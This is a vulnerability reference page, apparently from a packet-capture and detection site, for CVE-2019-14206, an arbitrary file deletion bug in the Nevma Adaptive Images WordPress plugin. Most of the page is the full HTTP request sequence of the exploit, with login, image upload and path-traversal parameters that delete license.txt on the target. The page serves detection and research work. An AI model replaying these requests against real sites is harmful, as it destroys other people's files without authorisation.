🔙 목록으로 돌아가기

CVE-2019-14206: Nevma Adaptive Images - Arbitrary File Deletion

Title	Nevma Adaptive Images - Arbitrary File Deletion
Author	riteshs4hu
Severity	High
Impact	Remote attackers can delete arbitrary files on the server, potentially causing data loss and service disruption.
Remediation	Update to version 0.6.67 or later.
CVSS Score	7.5
EPSS Score	0.22694
CVE ID	CVE-2019-14206
CWE ID	CWE-22
Tags	cve cve2019 nevma adaptive-images vkev

🔍 Vulnerability Description

Nevma Adaptive Images plugin before 0.6.67 for WordPress contains an arbitrary file deletion caused by unsanitized input in adaptive-images-script.php, letting remote attackers delete arbitrary files, exploit requires sending specific request parameters.

🌐 HTTP Request

GET /license.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept-Encoding: gzip

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.2 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Accept-Encoding: gzip

log=OOMzby&pwd=gtINx1&wp-submit=Log+In&testcookie=1

GET /wp-admin/media-new.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

POST /wp-admin/async-upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Content-Length: 1443
Content-Type: multipart/form-data; boundary=---------------------------263427179238165382561022069118
Accept-Encoding: gzip

-----------------------------263427179238165382561022069118
Content-Disposition: form-data; name="name"

qdADHqONjj.jpeg
-----------------------------263427179238165382561022069118
Content-Disposition: form-data; name="post_id"

0
-----------------------------263427179238165382561022069118
Content-Disposition: form-data; name="_wpnonce"

z8JCOL
-----------------------------263427179238165382561022069118
Content-Disposition: form-data; name="type"


-----------------------------263427179238165382561022069118
Content-Disposition: form-data; name="tab"


-----------------------------263427179238165382561022069118
Content-Disposition: form-data; name="short"

1
-----------------------------263427179238165382561022069118
Content-Disposition: form-data; name="async-upload"; filename="qdADHqONjj.jpeg"
Content-Type: image/jpeg

����JFIFHH��C��C����	����
��������?����?����?����?!��
����?����?����?��
-----------------------------263427179238165382561022069118--

POST /wp-admin/async-upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Content-Length: 28
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

attachment_id=kbcHE2&fetch=3

GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-content/uploads/2026/01/qdADHqONjj.jpeg HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-content/uploads/2026/01/qdADHqONjj.jpeg&adaptive-images-settings[resolution]&resolution=8489 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Accept-Encoding: gzip

GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?adaptive-images-settings[source_file]=../../../wp-content/uploads/2026/01/qdADHqONjj.jpeg&adaptive-images-settings[resolution]&resolution=8489&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=license.txt&adaptive-images-settings[watch_cache]=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:31.0) Gecko/20100101 Firefox/31.0
Connection: close
Accept-Encoding: gzip

GET /license.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-14206.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-14206.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.

Snort 2 Rule

N/A

Snort 3 Rule

N/A